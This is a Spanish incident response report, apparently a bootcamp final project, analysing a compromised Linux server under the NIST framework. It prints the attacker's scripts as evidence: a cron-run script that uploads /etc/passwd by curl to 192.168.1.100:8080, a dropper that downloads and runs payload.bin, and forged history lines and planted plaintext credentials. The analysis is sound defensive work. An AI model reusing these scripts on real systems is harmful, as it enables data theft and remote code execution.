

Informe de Respuesta a Incidentes

Live Incident Response — Servidor Linux Comprometido

Marco de referencia: NIST Cybersecurity Framework (CSF)

Analista de Ciberseguridad: Raúl Martín

Proyecto Final — Bootcamp de Ciberseguridad
4Geeks Academy

Análisis asistido por Claude (Anthropic) como apoyo metodológico y de documentación

Resumen Ejecutivo

La organización 4Geeks Academy detectó comportamientos anómalos en uno de sus servidores internos en producción. Dado que la disponibilidad del servicio era prioritaria, se optó por un enfoque de **Live Incident Response**: inspección directa sobre el sistema activo, sin apagado ni extracción de disco.

La investigación confirmó un **compromiso completo del servidor**. Un atacante obtuvo acceso por SSH a la cuenta `sysadmin`, estableció mecanismos de persistencia, desplegó malware y montó un sistema de **exfiltración de datos automatizada** que seguía activo en el momento del análisis. Adicionalmente, el atacante realizó labores de **encubrimiento**: falsificó historiales de comandos, corrompió registros y plantó archivos señuelo para desviar la investigación hacia un usuario inocente.

Todos los vectores identificados fueron neutralizados durante la fase de remediación, y el sistema fue reforzado siguiendo buenas prácticas de hardening.

Clasificación de hallazgos

- Exfiltración activa de datos
- Usuario malicioso "hacker"
- Cronjob de persistencia
- Credenciales en texto plano
- Servicio FTP inseguro
- Logs manipulados
- Dropper de malware

Cronología del ataque

Fecha	Evento
21 Jun	Acceso SSH exitoso a <code>sysadmin</code> desde <code>192.168.1.50</code> (punto de entrada inicial)
23 Jun	Ataque de fuerza bruta SSH desde <code>192.168.1.103</code> probando usuarios <code>test</code> , <code>admin</code> , <code>hacker</code> , <code>root</code>
23 Jun	Creación de usuario <code>hacker</code> , despliegue de cronjob de exfiltración y scripts maliciosos
Continuo	Exfiltración de <code>/etc/passwd</code> a <code>192.168.1.100:8080</code> cada 15 minutos

Activos y direcciones IP implicadas

IP	Rol en el incidente
<code>192.168.1.50</code>	Origen del acceso SSH inicial exitoso a <code>sysadmin</code>
<code>192.168.1.103</code>	Origen del ataque de fuerza bruta posterior
<code>192.168.1.100</code>	Servidor del atacante (destino de exfiltración y origen del payload)

1. IDENTIFY (Identificar)

Fase de reconocimiento y recolección de evidencias. El objetivo fue comprender el alcance del compromiso: qué activos están afectados, qué hace el atacante y qué mecanismos ha dejado en el sistema. Se siguió una metodología manual de investigación Blue Team, sin herramientas automatizadas, para garantizar criterio analítico y trazabilidad de cada hallazgo.

1.1 Observación general del sistema

Primer vistazo al estado del servidor: carga, memoria e interfaces de red. La carga estaba dentro de lo normal y no había interfaces de red anómalas (como `tun0` o `docker0`), lo que descarta túneles VPN evidentes.

```
System information as of Mon 29 Jun 2026 04:51:05 PM UTC

System load:            1.1
Usage of /:              39.0% of 14.66GB
Memory usage:           5%
Swap usage:             0%
Processes:              120
Users logged in:        0
IPv4 address for enp0s3: 10.0.2.15
IPv6 address for enp0s3: fd17:625c:f037:2:a00:27ff:fe48:c906

* Ubuntu 20.04 LTS Focal Fossa has reached its end of standard support on 31 Ma

For more details see:
https://ubuntu.com/20-04

* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.

https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

updates can be applied immediately.

enable ESM Apps to receive additional future security updates.
see https://ubuntu.com/esm or run: sudo pro status

he list of available updates is more than a week old.
o check for new updates run: sudo apt update

ast login: Mon Jun 23 16:40:54 UTC 2025 on tty1
ysadmin@4geeks-server:~$ uptime
16:51:53 up 1 min,  1 user,  load average: 0.52, 0.42, 0.17
ysadmin@4geeks-server:~$ _
```

Salida de uptime: carga del sistema normal. Se aprecia el sistema Ubuntu 20.04 sin soporte y la IP 10.0.2.15

```
ysadmin@4geeks-server:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:48:c9:06 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic enp0s3
        valid_lft 85926sec preferred_lft 85926sec
    inet6 fd17:625c:f037:2:a00:27ff:fe48:c906/64 scope global dynamic mngtmpaddr noprefixroute
        valid_lft 86341sec preferred_lft 14341sec
    inet6 fe80::a00:27ff:fe48:c906/64 scope link
        valid_lft forever preferred_lft forever
ysadmin@4geeks-server:~$
```

ip a: única interfaz enp0s3 con IP de NAT. Sin interfaces sospechosas

1.2 Revisión de procesos activos

Listado de procesos ordenados por tiempo de arranque. Se identificaron servicios que requerían investigación posterior: `vsftpd` (servidor FTP, inusual y potencialmente peligroso) y dos instancias de `python3` ejecutándose como root.

```

systemd+ 682 0.0 0.1 27264 7756 ? Ss 16:50 0:00 /lib/systemd/systemd-networkd
systemd+ 684 0.0 0.3 25476 12940 ? Ss 16:50 0:00 /lib/systemd/systemd-resolved
root 696 0.0 0.1 235576 7488 ? Ssl 16:50 0:00 /usr/lib/accounts-service/accounts
root 700 0.0 0.0 6816 2892 ? Ss 16:50 0:00 /usr/sbin/cron -f
message+ 701 0.0 0.1 7568 4500 ? Ss 16:50 0:00 /usr/bin/dbus-daemon --system --a
root 706 0.0 0.0 81828 3564 ? Ssl 16:50 0:00 /usr/sbin/irqbalance --foreground
root 707 0.0 0.4 29668 18744 ? Ss 16:50 0:00 /usr/bin/python3 /usr/bin/network
root 708 0.0 0.1 232732 6952 ? Ssl 16:50 0:00 /usr/lib/policykit-1/polkitd --no
syslog 709 0.0 0.1 224344 4776 ? Ssl 16:50 0:00 /usr/sbin/rsyslogd -n -iNONE
root 714 0.0 0.7 1467516 29184 ? Ssl 16:50 0:00 /usr/lib/snapd/snapd
root 716 0.0 0.1 17304 7820 ? Ss 16:50 0:00 /lib/systemd/systemd-logind
root 718 0.0 0.3 393268 12236 ? Ssl 16:50 0:00 /usr/lib/udisks2/udisksd
daemon 721 0.0 0.0 3796 2248 ? Ss 16:50 0:00 /usr/sbin/atd -f
root 731 0.0 0.0 6808 3016 ? Ss 16:50 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root 736 0.0 0.0 5992 3956 tty1 Ss 16:50 0:00 /bin/login -p --
root 769 0.0 0.1 12188 6924 ? Ss 16:50 0:00 sshd: /usr/sbin/sshd -D [listener
root 795 0.0 0.2 315112 11880 ? Ssl 16:50 0:00 /usr/sbin/ModemManager
root 810 0.0 0.1 6532 4452 ? Ss 16:50 0:00 /usr/sbin/apache2 -k start
www-data 811 0.0 0.1 1211420 4336 ? S1 16:50 0:00 /usr/sbin/apache2 -k start
www-data 812 0.0 0.1 1211420 4320 ? S1 16:50 0:00 /usr/sbin/apache2 -k start
root 876 0.0 0.5 107924 20608 ? Ssl 16:50 0:00 /usr/bin/python3 /usr/share/unatt
root 910 0.0 0.0 25880 3560 ? S1 16:50 0:00 /var/ossec/bin/wazuh-execd
wazuh 923 0.0 0.1 173620 7368 ? S1 16:50 0:00 /var/ossec/bin/wazuh-agentd
root 944 0.0 0.2 124280 8268 ? SN1 16:50 0:00 /var/ossec/bin/wazuh-syscheckd
root 964 0.0 0.2 528092 10592 ? S1 16:50 0:00 /var/ossec/bin/wazuh-logcollector
root 983 0.0 0.4 535264 17216 ? S1 16:50 0:00 /var/ossec/bin/wazuh-modulesd
sysadmin 1686 0.0 0.2 19052 9592 ? Ss 16:51 0:00 /lib/systemd/systemd --user
sysadmin 1691 0.0 0.0 169848 3432 ? S 16:51 0:00 (sd-pam)
sysadmin 1696 0.0 0.1 8396 5248 tty1 S 16:51 0:00 -bash
root 1764 0.0 0.0 0 0 ? I 16:56 0:00 [kworker/u4:1-events_power_effici
root 1782 0.0 0.0 0 0 ? I 17:01 0:00 [kworker/u4:0-events_power_effici
root 1809 0.0 0.0 0 0 ? I 17:05 0:00 [kworker/0:1-events]
root 1810 0.3 0.0 0 0 ? I 17:05 0:01 [kworker/0:2-events]
root 1834 0.0 0.0 0 0 ? I 17:07 0:00 [kworker/1:0]
sysadmin 1856 0.0 0.0 9040 3356 tty1 R+ 17:12 0:00 ps aux --sort=start_time
sysadmin@4geeks-server:~$

```

ps aux: se observan vsftpd (PID 731), apache2 y procesos python3 ejecutados como root

El árbol de procesos (`ps tree`) confirmó que **no existían jerarquías sospechosas activas** en ese instante (por ejemplo `cron→bash→nc` , típico de shells reversas). No obstante, esto solo refleja el estado puntual: una shell reversa lanzada por cron podría haber finalizado ya. Por ello el análisis de cronjobs resultó crítico.

1.3 Tareas programadas (cronjobs)

La revisión de `/etc/cron.d/` reveló el hallazgo más grave del incidente.

```

sysadmin@4geeks-server:~$ ls /etc/cron.d/ && cat /etc/cron.d/*
e2scrub_all logrotate popularity-contest sys-maintenance
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2
scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
0 0 * * * root /opt/scripts/logrotate.sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
35 0 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contes
t --cron
*/15 * * * * root /usr/local/bin/backup2.sh

```

Contenido de /etc/cron.d/. Se aprecian dos entradas a investigar: logrotate.sh y backup2.sh

El primer script (`logrotate.sh`) resultó **legítimo** tras inspección: simplemente invoca la herramienta estándar del sistema. El segundo, `backup2.sh` , ejecutado **cada 15 minutos como root** desde el archivo de cron con nombre engañoso `sys-maintenance` , contenía la lógica de exfiltración:

```

sysadmin@4geeks-server:~$ cat /usr/local/bin/backup2.sh
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload

```

Contenido de backup2.sh: comprime /etc/passwd y lo envía por HTTP POST a 192.168.1.100:8080

Hallazgo crítico: El script empaqueta `/etc/passwd` con `tar` y lo sube mediante `curl -X POST` al servidor del atacante `192.168.1.100:8080` . Se trata de **exfiltración de datos automatizada y activa**.

1.4 Revisión de usuarios y accesos

Filtrando los usuarios con shell interactiva se detectaron dos cuentas relevantes.

```

sysadmin@4geeks-server:~$ cat /etc/passwd | grep -v "/usr/sbin/nologin"
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sysadmin:x:1000:1000:4geeks-server:/home/sysadmin:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
reports:x:1001:1001:,,,:/home/reports:/bin/bash
wazuh:x:115:120::/var/ossec:/sbin/nologin
hacker:x:1002:1002::/home/hacker:/bin/bash
sysadmin@4geeks-server:~$

```

Usuarios con shell activa. Destacan hacker (claramente malicioso) y reports

Usuario hacker : cuenta con nombre inequívocamente malicioso, shell `/bin/bash` y directorio home propio. Creada por el atacante.

Usuario reports : cuenta comprometida y utilizada como señuelo (ver sección Detect).

El registro de últimos accesos mostró una sesión del usuario `reports` de duración nula, coherente con actividad automatizada más que humana.

```

hacker:x:1002:1002::/home/hacker:/bin/bash
sysadmin@4geeks-server:~$ last -a
sysadmin  tty1          Mon Jun 29 16:51      still logged in
reboot    system boot        Mon Jun 29 16:50      still running      5.4.0-216-generic
sysadmin  tty1          Mon Jun 23 16:40 -   down      (00:04)
reboot    system boot        Mon Jun 23 16:40 -   16:45      (00:05)      5.4.0-216-generic
sysadmin  tty1          Mon Jun 23 15:24 -   crash      (01:15)
reboot    system boot        Mon Jun 23 15:23 -   16:45      (01:22)      5.4.0-216-generic
sysadmin  tty1          Mon Jun 23 15:01 -   crash      (00:21)
reboot    system boot        Mon Jun 23 14:48 -   16:45      (01:57)      5.4.0-216-generic
sysadmin  tty1          Mon Jun 23 14:08 -   14:43      (00:35)
reports   tty1          Mon Jun 23 14:07 -   14:07      (00:00)
sysadmin  tty1          Mon Jun 23 14:05 -   14:07      (00:02)
sysadmin  tty1          Mon Jun 23 12:57 -   13:39      (00:42)
reboot    system boot        Mon Jun 23 12:53 -   16:45      (03:52)      5.4.0-216-generic
sysadmin  tty1          Sat Jun 21 19:05 -   down      (01:17)
reboot    system boot        Sat Jun 21 19:03 -   20:22      (01:18)      5.4.0-216-generic

wtmp begins Sat Jun 21 19:03:58 2025
sysadmin@4geeks-server:~$ _

```

last -a: sesión de reports de 0 minutos y múltiples reinicios del sistema el 23 Jun

1.5 Análisis de logs de autenticación

Los registros de `/var/log/auth.log` permitieron reconstruir el ataque. Se observó un patrón claro de fuerza bruta SSH desde `192.168.1.103`.

```

sysadmin@4geeks-server:~$ grep -a "Failed password" /var/log/auth.log
Jun 21 19:38:20 4geeks-server sshd[2001]: Failed password for root from 192.168.1.50 port 40230 ssh2
Jun 23 15:26:52 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:01 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:07 4geeks-server sshd[1736]: Failed password for invalid user test from 192.168.1.103 port 58760 ssh2
Jun 23 15:27:28 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:27:32 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:27:37 4geeks-server sshd[1747]: Failed password for invalid user admin from 192.168.1.103 port 49542 ssh2
Jun 23 15:28:33 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:28:40 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:29:15 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh2
Jun 23 15:29:21 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh2
sysadmin@4geeks-server:~$

```

Failed password: fuerza bruta probando usuarios test, admin, hacker y root desde 192.168.1.103

Y, de forma decisiva, el acceso **exitoso** que constituye el punto de entrada del atacante:

```

sysadmin@4geeks-server:~$ grep -a "Accepted password" /var/log/auth.log
Jun 21 19:38:47 4geeks-server sshd[2011]: Accepted password for sysadmin from 192.168.1.50 port 47936 ssh2

```

Accepted password para sysadmin desde 192.168.1.50: punto de entrada confirmado

Durante el análisis del log se detectaron **bloques de caracteres binarios corruptos** (secuencias de `@`), evidencia de **manipulación o truncado deliberado del registro** por parte del atacante para dificultar la investigación.

1.6 Revisión de red y firewall

Los puertos en escucha mostraron el servicio FTP (puerto 21) activo, además de SSH (22) y HTTP (80). No se detectaron puertos anómalos (4444, 8080, 9001) escuchando en el momento del análisis.

```

25 2279 ACCEPT      udp  --  *    *    0.0.0.0/0  0.0.0.0/0  ctstate NEW
Chain ufw-user-forward (1 references)
pkts bytes target      prot opt in     out     source      destination
Chain ufw-user-input (1 references)
pkts bytes target      prot opt in     out     source      destination
0      0 ACCEPT      tcp  --  *    *    0.0.0.0/0  0.0.0.0/0  tcp dpt:22
0      0 ACCEPT      udp  --  *    *    0.0.0.0/0  0.0.0.0/0  udp dpt:22
0      0 ACCEPT      tcp  --  *    *    0.0.0.0/0  0.0.0.0/0  tcp dpt:80
0      0 ACCEPT      udp  --  *    *    0.0.0.0/0  0.0.0.0/0  udp dpt:80
0      0 ACCEPT      tcp  --  *    *    0.0.0.0/0  0.0.0.0/0  tcp dpt:21
0      0 ACCEPT      udp  --  *    *    0.0.0.0/0  0.0.0.0/0  udp dpt:21
Chain ufw-user-limit (0 references)
pkts bytes target      prot opt in     out     source      destination
0      0 LOG         all  --  *    *    0.0.0.0/0  0.0.0.0/0  limit: avg
3/min burst 5 LOG flags 0 level 4 prefix "[UFW LIMIT BLOCK] "
0      0 REJECT      all  --  *    *    0.0.0.0/0  0.0.0.0/0  reject-with
icmp-port-unreachable
Chain ufw-user-limit-accept (0 references)
pkts bytes target      prot opt in     out     source      destination
0      0 ACCEPT      all  --  *    *    0.0.0.0/0  0.0.0.0/0
Chain ufw-user-logging-forward (0 references)
pkts bytes target      prot opt in     out     source      destination
Chain ufw-user-logging-input (0 references)
pkts bytes target      prot opt in     out     source      destination
Chain ufw-user-logging-output (0 references)
pkts bytes target      prot opt in     out     source      destination
Chain ufw-user-output (1 references)
pkts bytes target      prot opt in     out     source      destination
sysadmin@4geeks-server:~$ _

```

ss -tlnp: puertos 21 (FTP), 22 (SSH), 80 (HTTP) y 53 (DNS local) en escucha

El firewall UFW estaba correctamente configurado con política **DROP** por defecto, pero mantenía una regla que permitía explícitamente el puerto 21, coherente con el servicio FTP a eliminar.

1.7 Detección de persistencia y backdoors

Se inspeccionaron las ubicaciones habituales de persistencia. En `/usr/local/bin/` se confirmó el script malicioso:

```

sysadmin@4geeks-server:~$ ls -la /usr/local/bin
total 12
drwxr-xr-x  2 root root 4096 Jun 23  2025 .
drwxr-xr-x 10 root root 4096 Mar 14  2023 ..
-rwxr-xr-x  1 root root 125 Jun 23  2025 backup2.sh
sysadmin@4geeks-server:~$

```

ls -la /usr/local/bin/: backup2.sh con fecha 23 Jun, coincidente con el ataque

En `/tmp/` se encontró el artefacto de exfiltración generado por el cronjob:

```

sysadmin@4geeks-server:~$ tar -tzf /tmp/secrets.tgz
etc/passwd
sysadmin@4geeks-server:~$

```

tar -tzf secrets.tgz: confirma que el archivo exfiltrado contiene /etc/passwd

La marca temporal de `secrets.tgz` (generado minutos antes del análisis) confirmó que **la exfiltración seguía activa** en tiempo real. Se verificó además la ausencia de claves SSH plantadas en `authorized_keys`, descartando ese vector de persistencia.

Las revisiones de `/etc/init.d/`, `/etc/systemd/system/` y `/etc/rc.local` (inexistente) no revelaron servicios maliciosos adicionales. La persistencia se limitaba al cronjob y su script.

2. PROTECT (Proteger)

Medidas de fortalecimiento aplicadas sobre el sistema para reducir la superficie de ataque y prevenir reincidencias, una vez erradicada la amenaza.

2.1 Endurecimiento del acceso SSH

Se modificó `/etc/ssh/sshd_config` (previa copia de seguridad) aplicando:

Parámetro	Valor aplicado	Justificación
<code>PermitRootLogin</code>	<code>no</code>	Impide el acceso remoto directo como root; obliga a autenticarse con cuenta nominal y escalar con sudo (auditable)
<code>X11Forwarding</code>	<code>no</code>	El servidor no tiene entorno gráfico; se elimina una superficie de ataque innecesaria
<code>PasswordAuthentication</code>	<code>yes</code> (explícito)	Mantenido para el entorno de laboratorio. Recomendación para producción: establecer en <code>no</code> y usar exclusivamente autenticación por clave SSH

```
sysadmin@4geeks-server:~$ sudo systemctl restart ssh
[sudo] password for sysadmin:
sysadmin@4geeks-server:~$ sudo systemctl status ssh
• ssh.service - OpenBSD Secure Shell server
  Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
  Active: active (running) since Thu 2026-07-02 17:42:11 UTC; 32s ago
    Docs: man:sshd(8)
          man:sshd_config(5)
  Process: 2420 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
 Main PID: 2421 (sshd)
   Tasks: 1 (limit: 4588)
  Memory: 1.2M
   CGroup: /system.slice/ssh.service
           └─2421 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

Jul 02 17:42:11 4geeks-server systemd[1]: Starting OpenBSD Secure Shell server...
Jul 02 17:42:11 4geeks-server sshd[2421]: Server listening on 0.0.0.0 port 22.
Jul 02 17:42:11 4geeks-server sshd[2421]: Server listening on :: port 22.
Jul 02 17:42:11 4geeks-server systemd[1]: Started OpenBSD Secure Shell server.
sysadmin@4geeks-server:~$
```

systemctl status ssh: servicio activo (running) tras aplicar la configuración endurecida

2.2 Eliminación del servicio FTP inseguro

El servicio `vsftpd` fue detenido y deshabilitado del arranque. FTP transmite credenciales en texto plano y constituía un riesgo innecesario.

```
sysadmin@4geeks-server:~$ sudo passwd sysadmin
New password:
Retype new password:
passwd: password updated successfully
sysadmin@4geeks-server:~$ sudo systemctl stop vsftpd
sysadmin@4geeks-server:~$ sudo systemctl disable vsftpd
Synchronizing state of vsftpd.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable vsftpd
Removed /etc/systemd/system/multi-user.target.wants/vsftpd.service.
sysadmin@4geeks-server:~$
```

Detención y deshabilitación de vsftpd

Se eliminó además la regla correspondiente del firewall, cerrando el puerto 21.

```
sysadmin@4geeks-server:~$ ss -tln | grep 21
sysadmin@4geeks-server:~$ sudo ufw delete allow 21
Rule deleted
Rule deleted (v6)
sysadmin@4geeks-server:~$
```

ufw delete allow 21: eliminación de la regla que permitía FTP (IPv4 e IPv6)

2.3 Verificación del firewall y privilegios

Se confirmó que UFW permanece activo, permitiendo únicamente SSH (22) y HTTP (80):

```
sysadmin@4geeks-server:~$ sudo ufw status
Status: active

To
--
22
80
22 (v6)
80 (v6)
Action
-----
ALLOW
ALLOW
ALLOW
ALLOW
From
----
Anywhere
Anywhere
Anywhere (v6)
Anywhere (v6)

sysadmin@4geeks-server:~$
```

ufw status: firewall activo, solo puertos 22 y 80 permitidos. El 21 ya no aparece

La revisión de `/etc/sudoers` , `/etc/sudoers.d/` y la pertenencia al grupo `sudo` confirmó que **solo** `sysadmin` **mantiene privilegios administrativos**, sin entradas maliciosas inyectadas por el atacante.

3. DETECT (Detectar)

Análisis de las técnicas de encubrimiento e ingeniería social empleadas por el atacante. Esta sección documenta cómo el adversario intentó evadir la detección y desviar la investigación, un aspecto clave para reconocer patrones en futuros incidentes.

3.1 Historial de comandos manipulado

El análisis de `~/.bash_history` reveló la secuencia completa de acciones del atacante, incluido su intento inicial de borrar el propio historial.

```
sysadmin@4geeks-server:~$ cat ~/.bash_history
rm ~/.bash_history
exit
echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
exit
sudo mkdir -p /opt/.archive
echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
sudo chmod 644 /opt/.archive/credentials.txt
echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
echo "./install.sh" | sudo tee -a /home/reports/.bash_history
echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
sudo touch /home/reports/install.sh
sudo nano /home/reports/install.sh
sudo touch /home/reports/backup.log
sudo nano /home/reports/backup.log
sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
ls
pwd
sudo nano /home/reports/chat.txt
sudo chown reports:reports /home/reports/chat.txt
exit
cat /var/backups/.logs/creds.txt
sudo mkdir -p /var/backups/.logs
echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
sudo chmod 644 /var/backups/.logs/creds.txt
echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
sysadmin@4geeks-server:~$ _
```

bash_history de sysadmin: se observa el rm inicial del historial y la creación de credenciales y archivos falsos

El atacante ejecutó una operación de encubrimiento sofisticada:

- Almacenó credenciales del usuario `reports` en **texto plano** en directorios ocultos (`/opt/.archive/` y `/var/backups/.logs/`), con permisos y nombres que imitaban configuración legítima del sistema.
- Falsificó el historial de comandos** de los usuarios `reports` y `sysadmin` , insertando comandos ficticios y reasignando la propiedad de los archivos con `chown` para simular que las acciones las había realizado el propio usuario.

```
echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
sudo chmod 644 /var/backups/.logs/creds.txt
echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
sysadmin@4geeks-server:~$ cat /opt/.archive/credentials.txt
reports:reports123
sysadmin@4geeks-server:~$
```

Credenciales reports:reports123 almacenadas en texto plano en directorio oculto

3.2 Dropper de malware

Se localizó un script `install.sh` diseñado para descargar y ejecutar un payload desde el servidor del atacante, disfrazando su actividad con mensajes de instalación falsos.

```
sysadmin@4geeks-server:~$ cat /home/reports/install.sh
#!/bin/bash

echo "[*] Preparing enviroment..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
sysadmin@4geeks-server:~$ _
```

install.sh: dropper que descarga payload.bin desde 192.168.1.100 y lo ejecuta en segundo plano

El payload (`/tmp/.temp/payload`) ya no estaba presente en el sistema, comportamiento típico de malware auto-eliminable tras su ejecución.

3.3 Ingeniería social y señuelos

El atacante plantó archivos diseñados para **inculpar al usuario** `reports` y desviar la investigación:

```

sysadmin@4geeks-server:~$ cat /opt/.archive/credentials.txt
reports:reports123
sysadmin@4geeks-server:~$ cat /home/reports/install.sh
#!/bin/bash

echo "[*] Preparing enviroment..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload &
echo "[*] Installation complete."
sysadmin@4geeks-server:~$ ls -la /tmp/.temp/
ls: cannot access '/tmp/.temp/': No such file or directory
sysadmin@4geeks-server:~$ cat /home/reports/chat.txt
From: unknown@externalmail.com
---
Hey, run that script I sent you earlier.
Don't worry, it's clean. Let me know once the backup finishes.
sysadmin@4geeks-server:~$

```

chat.txt: mensaje falso simulando comunicación con un cómplice externo

```

sysadmin@4geeks-server:~$ cat /home/reports/chat.txt
From: unknown@externalmail.com
---
Hey, run that script I sent you earlier.
Don't worry, it's clean. Let me know once the backup finishes.
sysadmin@4geeks-server:~$ cat /home/reports/backup.log
[INFO] Starting backup process...
[INFO] Compressing /etc/shadow...
[INFO] Uploading to 102.168.1.100:8080
[OK] Backup completed
sysadmin@4geeks-server:~$

```

backup.log: registro falso simulando la exfiltración de /etc/shadow por parte de reports

Estos archivos (`chat.txt` , `backup.log`) son **señuelos**: registros y mensajes fabricados para que un investigador atribuya el incidente al usuario `reports` . El análisis riguroso de la cadena de evidencias (historiales, propiedad de archivos, IPs) permitió identificarlos como falsos y establecer que `reports` fue víctima, no autor.

4. RESPOND (Responder)

Acciones de contención y erradicación aplicadas para neutralizar la amenaza. El orden priorizó primero **cortar la exfiltración activa**, seguido de la eliminación de persistencia, usuarios y credenciales comprometidas.

4.1 Corte de la exfiltración (prioridad máxima)

Se eliminó en primer lugar el cronjob de exfiltración, deteniendo el envío de datos cada 15 minutos, y a continuación el script y el artefacto generado.

```
sysadmin@4geeks-server:~$ cat /etc/cron.d/sys-maintenance
*/15 * * * * root /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$ sudo rm /etc/cron.d/sys-maintenance
sysadmin@4geeks-server:~$ cat /etc/cron.d/sys-maintenance
cat: /etc/cron.d/sys-maintenance: No such file or directory
sysadmin@4geeks-server:~$
```

Eliminación del cronjob sys-maintenance. La verificación posterior confirma que ya no existe

Acción	Comando
Eliminar cronjob	<code>rm /etc/cron.d/sys-maintenance</code>
Eliminar script	<code>rm /usr/local/bin/backup2.sh</code>
Eliminar artefacto	<code>rm /tmp/secrets.tgz</code>

4.2 Eliminación del usuario malicioso

El usuario `hacker` fue eliminado junto con su directorio home, previa terminación de sus procesos.

```
sudo: /tmp/secrets.tgz: command not found
sysadmin@4geeks-server:~$ sudo rm /tmp/secrets.tgz
rm: cannot remove '/tmp/secrets.tgz': No such file or directory
sysadmin@4geeks-server:~$ sudo pkill -u hacker
sysadmin@4geeks-server:~$ sudo userdel -r hacker
userdel: hacker mail spool (/var/mail/hacker) not found
sysadmin@4geeks-server:~$ _
```

userdel -r hacker: eliminación del usuario y su home. El aviso de mail spool es informativo, no un error

4.3 Rotación de credenciales comprometidas

Se establecieron contraseñas robustas para las cuentas afectadas:

- `sysadmin` — cuenta del acceso inicial comprometido.
- `reports` — cuenta utilizada como señuelo. Se optó por conservarla (no tenía privilegios especiales ni fue creada por el atacante) y rotar su contraseña.

4.4 Limpieza de artefactos residuales

Elemento eliminado	Ubicación
Credenciales en texto plano (x2)	<code>/opt/.archive/</code> y <code>/var/backups/.logs/</code>
Archivos señuelo	<code>/home/reports/{install.sh, backup.log, chat.txt, .note}</code>
Historiales falsificados	<code>.bash_history</code> de <code>reports</code> y <code>sysadmin</code>

4.5 Verificación de ausencia de backdoors adicionales

Como comprobación de diligencia (más allá del guión estándar), se verificaron vectores avanzados de persistencia:

- UID duplicados:** se confirmó que solo `root` posee UID 0, descartando cuentas de superusuario ocultas.
- Binarios SUID:** el listado corresponde íntegramente a binarios legítimos del sistema, sin shells (`bash` , `python`) con bit SUID.
- Tareas at :** cola vacía (`atq`), sin persistencia por tareas puntuales.
- Procesos python3:** identificados como servicios legítimos de Ubuntu (`networkd-dispatcher` y `unattended-upgrade`).

```
sysadmin@4geeks-server:~$ awk -F: '$3 == 0' /etc/passwd
root:x:0:0:root:/root:/bin/bash
sysadmin@4geeks-server:~$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/lib/eject/dmccrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/snap/snapd/18357/usr/lib/snapd/snap-confine
